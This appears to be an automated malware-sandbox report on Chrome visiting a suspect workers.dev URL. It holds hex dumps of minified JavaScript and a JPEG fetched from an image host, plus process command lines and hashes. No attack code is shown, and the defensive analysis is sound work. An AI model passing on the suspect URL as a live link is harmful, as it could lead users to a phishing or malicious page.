2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-04-17 23:28:35 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49752	169.197.85.95	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:35 UTC	384	OUT	GET /0fSNxpr/imgonline-com-ua-exifedit-TN1-PVe8jklc-C.jpg HTTP/1.1 Host: i.ibb.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:35 UTC	380	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 17 Apr 2024 23:28:35 GMT Content-Type: image/jpeg Content-Length: 36895 Connection: close Last-Modified: Sat, 13 May 2023 14:37:38 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-04-17 23:28:35 UTC	3716	IN	Data Raw: ff d8 ff e1 0d 7d 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0f 01 00 00 03 00 00 00 01 04 b0 00 00 01 01 00 03 00 00 00 01 02 c5 00 00 01 02 00 03 00 00 00 03 00 00 00 c2 01 06 00 03 00 00 00 01 00 02 00 00 01 0d 00 02 00 00 00 08 00 00 00 c8 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 d0 01 1b 00 05 00 00 00 01 00 00 00 d8 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 06 00 00 00 e0 01 32 00 02 00 00 00 14 00 00 00 e6 02 13 00 03 00 00 00 01 00 01 00 00 82 98 00 02 00 00 00 06 00 00 00 fa 87 69 00 04 00 00 00 01 00 00 01 00 00 00 01 f2 00 08 00 08 00 08 50 72 69 76 61 74 65 00 00 00 01 38 00 00 00 01 00 00 01 37 00 00 00 01 43 61 6e 6f 6e 00 32 30 32 33 3a 31 30 3a 31 32 20 31 33 Data Ascii: }ExifMM*(12iPrivate87Canon2023:10:12 13
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 74 73 2f 31 2e 31 2f 27 3e 0a 20 20 3c 64 63 3a 66 6f 72 6d 61 74 3e 69 6d 61 67 65 2f 6a 70 65 67 3c 2f 64 63 3a 66 6f 72 6d 61 74 3e 0a 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 0a 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 27 27 0a 20 20 78 6d 6c 6e 73 3a 70 68 6f 74 6f 73 68 6f 70 3d 27 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 70 68 6f 74 6f 73 68 6f 70 2f 31 2e 30 2f 27 3e 0a 20 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3e 33 3c 2f 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3e 0a 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 0a 0a 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 27 27 0a 20 20 Data Ascii: ts/1.1/'> <dc:format>image/jpeg</dc:format> </rdf:Description> <rdf:Description rdf:about='' xmlns:photoshop='http://ns.adobe.com/photoshop/1.0/'> <photoshop:ColorMode>3</photoshop:ColorMode> </rdf:Description> <rdf:Description rdf:about=''
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 27 77 27 3f 3e ff ed 14 46 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 1d 1c 01 5a 00 03 1b 25 47 1c 01 14 00 02 00 1d 1c 01 00 00 02 00 04 1c 02 00 00 02 61 00 00 38 42 49 4d 04 25 00 00 00 00 00 10 27 ae 21 5a 87 25 b4 49 ec d8 c3 f4 d1 bb 6b ac 38 42 49 4d 04 3a 00 00 00 00 00 e5 00 00 00 10 00 00 00 01 00 00 00 00 00 0b 70 72 69 6e 74 4f 75 74 70 75 74 00 00 00 05 00 00 00 00 50 73 74 53 62 6f 6f 6c 01 00 00 00 00 49 6e 74 65 65 6e 75 6d 00 00 00 00 49 6e 74 65 00 00 00 00 43 6c 72 6d 00 00 00 0f 70 72 69 6e 74 53 69 78 74 65 65 6e 42 69 74 62 6f 6f 6c 00 00 00 00 0b 70 72 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 Data Ascii: <?xpacket end='w'?>FPhotoshop 3.08BIMZ%Ga8BIM%'!Z%Ik8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXT
2024-04-17 23:28:35 UTC	4096	IN	Data Raw: 88 04 6c d3 fa ce ff 00 c9 22 d5 4d 74 b4 b6 b1 00 99 22 49 d4 ff 00 59 64 36 f0 c6 c4 d7 b6 00 68 37 d9 33 fb bf 45 3c b9 b3 5c 06 90 d0 e8 37 59 c7 d2 f6 bb 6a 49 af 2f b5 da 49 62 32 f6 80 1a 0d 6e 70 10 1e eb ac 26 4f d2 1f 41 45 cf 63 81 0d 7b 74 e2 72 2d d7 bf bb da 85 a4 44 97 75 25 80 2d 67 d1 6b 9a 01 1b b5 c8 b6 48 e7 74 ed 4e 1e d1 b5 92 dd a5 c7 5f b4 d8 35 ff 00 35 2b 57 01 77 92 58 0e c8 ae 1c 4b 9a 1c 5c 01 6f da 2c d3 fe 8a 77 d9 5b 61 af b1 ad 0c d6 4e 45 a7 9d 7f 77 dc 95 ab 80 bb c9 2c 36 ba a3 61 3e ac 88 1e df 5a d9 9e 4f 6f a2 ac 74 fc 8c 4a ec 73 3d 50 5d 69 f6 00 f7 be 47 f6 c7 b1 14 70 f9 fd 8e a2 49 24 92 10 3f f9 f6 aa ec 76 3e eb 89 75 bf ce 7b 89 9e 63 f3 36 fe 62 b1 67 f3 ed 4c d3 79 2f db 63 09 0e 31 de 07 ee ba 3f 39 2d 55 Data Ascii: l"Mt"IYd6h73E<\7YjI/Ib2np&OAEc{tr-Du%-gkHtN_55+WwXK\o,w[aNEw,6a>ZOotJs=P]iGpI$?v>u{c6bgLy/c1?9-U
2024-04-17 23:28:36 UTC	4096	IN	Data Raw: fa c8 07 92 d9 eb 52 8a 05 82 e0 00 00 0e 4c 72 57 29 83 4a 96 39 f2 f5 75 2b 44 2b 68 b0 90 d9 52 5b 86 b6 e6 48 6b 32 e0 95 9d 97 5b 68 c6 6c b5 1b 91 17 4e 7c 62 db d5 04 90 d9 29 b9 24 b9 ad 63 09 3d 17 73 b4 6e 00 00 03 07 3c aa 74 0a e7 1c ec 9a 12 11 c4 b5 6c 00 79 2d 7a d4 0a 05 82 e0 00 00 23 94 72 4c 91 15 6c b6 25 9c a4 2a ec 4f 14 ec dc d6 b6 95 64 a2 32 b4 ac 92 58 c9 ea 89 99 15 5d 7b 89 14 47 53 1a 4b 50 d2 c9 56 f4 99 b6 a9 ac 93 db 83 78 ee 55 90 00 00 18 39 e5 53 a0 4c 00 00 00 01 e4 67 ae 02 81 60 b8 00 00 03 84 71 88 92 ca f3 12 d2 c8 09 08 cb 51 0a 56 b6 dc 40 92 2e 85 2b 2c af 44 e6 25 8a af 2d e4 a8 a3 6b 33 2e 4d e4 a7 59 26 97 ac 71 08 ec b7 11 db 39 01 62 a0 92 91 f4 47 d1 ae 40 00 03 07 3c aa 5f 25 00 00 00 00 f2 43 d7 41 40 b0 Data Ascii: RLrW)J9u+D+hR[Hk2[hlN\|b)$c=sn<tly-z#rLl%*Od2X]{GSKPVxU9SLg`qQV@.+,D%-k3.MY&q9bG@<_%CA@
2024-04-17 23:28:36 UTC	4096	IN	Data Raw: f0 66 5a 02 66 58 67 7f 6c 5d 42 c2 cd 9b 62 97 cd b3 a7 4e 65 86 5f 95 68 35 67 5b 1f 32 c1 1f 32 cd 93 31 f8 9c f7 de ac eb 1a 59 94 e4 26 a1 68 96 6a 16 ed 5e 75 a2 2e 5b 9a fb cb 14 b6 a3 60 1e e5 63 b7 75 63 56 99 76 ac ef ed 32 cb ec e9 ae a3 68 96 6a 36 ca f5 1b a6 1d ed 60 1f 0b fa 57 e2 eb 85 42 9c b5 b0 f2 13 90 9c c4 ea 08 1c 1f b7 eb a3 b6 0f a5 be 68 f8 0c cc bd 10 ae 55 12 cc 9a 08 aa da 54 8c 8a 18 8b a9 de db 28 95 d9 42 41 9d 48 0f a8 57 ba e7 55 3b 8a 5c 1c 8a 20 b6 85 8f 99 40 9d ed 20 2e 55 04 0b a8 e4 72 28 8f 93 4c 4e 8f 17 ba 8d fa f8 e2 35 f4 4e bd 04 2d f4 47 ba 95 65 c8 a2 1c 9a 22 b5 04 64 5d 4a 4a af a0 86 cb a5 42 e4 50 d2 c7 a3 88 6c 75 8b 93 4e dd ce 3c 5b f1 cc 39 34 ce b6 3c ea 50 47 5f 1c 4a 73 2a 25 4e ff 00 0b fa 57 e3 Data Ascii: fZfXgl]BbNe_h5g[221Y&hj^u.[`cucVv2hj6`WBhUT(BAHWU;\ @ .Ur(LN5N-Ge"d]JJBPluN<[94<PG_Js*%NW
2024-04-17 23:28:36 UTC	4096	IN	Data Raw: 9a b2 9f ec a4 b2 31 89 0b 5b 94 41 26 cb 48 fa 92 92 50 bb 29 85 a8 7a ec 65 0c a6 80 6f 89 c3 11 ef 65 f1 74 2d 25 b5 02 4a c6 a8 34 d5 e4 3a 3b 04 bb 47 e4 68 0a e8 26 5d 08 dd 51 a6 03 b5 ae 27 49 1d 84 21 aa 44 66 4c 99 32 64 c9 92 31 f6 21 74 22 3c a1 a5 14 59 65 11 91 9d f4 43 84 4b 94 25 ac 2a 0d c1 16 11 dc 42 f5 43 4c ff 00 07 f8 28 4c 88 a3 42 4b bb 11 68 8d 92 a8 46 46 2f 74 74 d1 3c 68 d4 8d 06 d5 84 ea a1 93 26 4c 99 1d 42 18 40 90 a2 8a 28 a1 e1 35 0e 00 f9 41 21 8d 12 35 f0 b1 7c 48 d5 8b 8f fb ab 81 9a 0b 17 1a 21 08 42 cb 2c a2 c4 68 fe 6e 24 c8 35 04 90 d3 fe ee e1 f0 33 dc 77 af 1b 30 81 b0 34 f2 7f 20 e2 09 70 34 ff 00 bb bb 83 57 1e 49 f9 e1 45 14 51 43 ac fe 41 bb 20 e9 e4 6c 69 ff 00 77 77 06 ae 3d e8 db 04 2e cf d0 fd 8f dc d2 bf Data Ascii: 1[A&HP)zeoet-%J4:;Gh&]Q'I!DfL2d1!t"<YeCK%*BCL(LBKhFF/tt<h&LB@(5A!5\|H!B,hn$53w04 p4WIEQCA liww=.
2024-04-17 23:28:36 UTC	4096	IN	Data Raw: b6 8a 45 a6 2d f2 29 bc 92 49 24 90 02 f0 92 01 30 00 49 24 92 04 89 c0 8f 90 cb 15 6e 7f d5 89 f4 a1 40 32 53 24 12 49 24 90 24 b4 12 00 3d 00 49 24 92 0d c6 a9 6b ce 17 df 20 87 d2 61 65 29 59 c1 64 07 12 49 24 90 28 e8 82 01 24 00 49 24 92 07 9c de f5 7b 68 84 b6 ac 33 69 d6 bf 6d d2 4c 11 92 49 24 90 00 a4 92 00 04 00 09 24 92 02 e2 fc fe d4 65 d1 68 d6 eb 26 95 1c 6b 99 41 81 92 49 24 92 06 8c 12 00 04 00 49 24 92 04 b3 13 dc 14 b3 d3 5c 81 51 02 1d e4 ca ba 41 98 92 49 24 92 42 e4 93 00 04 00 49 24 92 00 ba 71 a7 80 00 00 00 00 01 00 00 00 00 00 00 04 92 49 24 90 01 f4 80 00 00 00 49 24 92 49 10 d6 0c 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 00 64 02 00 00 00 49 24 92 0d 48 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 90 05 20 90 Data Ascii: E-)I$0I$n@2S$I$$=I$k ae)YdI$($I${h3imLI$$eh&kAI$I$\QAI$BI$qI$I$I$I$I$I$I$I$dI$HI$I$I$I$I$I$
2024-04-17 23:28:36 UTC	4096	IN	Data Raw: 70 0b 4b 5c c4 14 d9 1d ab 1d cb 3f f7 4c 09 7e 60 3c 6e 52 03 ee 7f f6 25 02 30 9c 5b ee 2e b2 07 31 5a 19 ee 04 47 30 a1 83 e6 27 6f da 50 71 77 1b 02 5e e5 29 0f 71 04 0f dc 3a 9c 73 11 42 67 79 56 08 4a 25 ae e5 70 3f 32 b0 37 dc 32 4f 3e ce b7 a2 63 fc e0 7a 2f 50 65 47 98 44 d2 af 11 cd 54 99 91 4b a3 5e e1 a7 f2 c4 a8 b7 a3 a4 d2 f6 56 69 11 3e 84 11 cd c6 bc b1 71 65 f8 b8 0a f5 f3 1e 2d c7 98 3d 4a bc b0 96 28 56 b1 d5 c8 f3 17 c9 fd c0 3a af cd c7 3b d9 de 12 32 09 49 cb ee 50 bb 84 78 e6 f6 c5 4d 44 e6 36 ad 4e e5 c6 ce f2 f4 69 e6 60 94 be 66 2d 3a ee 3f 65 f9 95 25 0e e3 fb 6b b8 13 4a bb 97 4b 2e f1 c3 6e 17 02 4a 3e 66 b0 69 de 69 50 73 2b ca 03 79 50 57 cc 12 b8 f7 11 2c d7 30 a0 67 cc d4 6a 73 10 1a cd e2 9a b7 cc 4e aa 9b c7 80 8b 6f 2f Data Ascii: pK\?L~`<nR%0[.1ZG0'oPqw^)q:sBgyVJ%p?272O>cz/PeGDTK^Vi>qe-=J(V:;2IPxMD6Ni`f-:?e%kJK.nJ>fiiPs+yPW,0gjsNo/
2024-04-17 23:28:36 UTC	411	IN	Data Raw: e5 9b c4 54 2c d2 53 79 75 2e b3 cb b8 99 f0 42 92 b1 04 83 0e b0 c3 30 68 c4 85 b8 ca e4 b8 1b 7c be 22 11 5a 7b 7a de 89 f4 24 5a 92 19 00 bb ca 8a c2 bc b3 26 50 ee 53 0a 76 85 47 0e e5 5c ef b9 5b 50 ee 32 3a 30 e2 16 80 9a aa 7e 87 a3 a4 d2 f6 57 49 6f 82 2a 0c f9 9a 47 e3 71 1a 2f b9 47 65 dc b5 9f cc 74 95 07 e0 12 d2 9c 38 f0 30 e0 2a 25 dd f2 44 62 21 00 4f b1 0d d5 b3 cc 22 30 58 62 dc 33 32 08 41 48 e9 2c 5c b1 ba 04 2d 8a 36 b9 98 55 2c 26 05 b6 a2 a6 10 97 15 48 82 02 1f b5 0b 28 7c c5 83 a1 cc 14 d6 8b 76 53 04 76 8e c5 59 30 6a 65 a8 b1 2b 52 2b 88 5d 46 0f 46 86 22 1a 87 b7 ad e8 9f 53 4d a3 2e 08 3d 45 2d 4b 86 95 b5 01 84 e1 22 a8 2b 3b 29 b7 a7 e9 7a 3a 4d 2f 65 74 66 a5 74 96 78 1d 46 87 ae 00 af aa 09 57 69 a4 b7 28 66 02 39 40 1e 25 Data Ascii: T,Syu.B0h\|"Z{z$Z&PSvG\[P2:0~WIoGq/Get80%Db!O"0Xb32AH,\-6U,&H(\|vSvY0je+R+]FF"SM.=E-K"+;)z:M/etftxFWi(f9@%

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 5492, Parent PID: 5760

General

Target ID:	0
Start time:	01:28:12
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6192, Parent PID: 5492

General

Target ID:	2
Start time:	01:28:14
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,16430321161640837365,1805014834749098796,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3372, Parent PID: 5760

General

Target ID:	3
Start time:	01:28:17
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://groun-93ed.ehajdranrsuw.workers.dev/"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly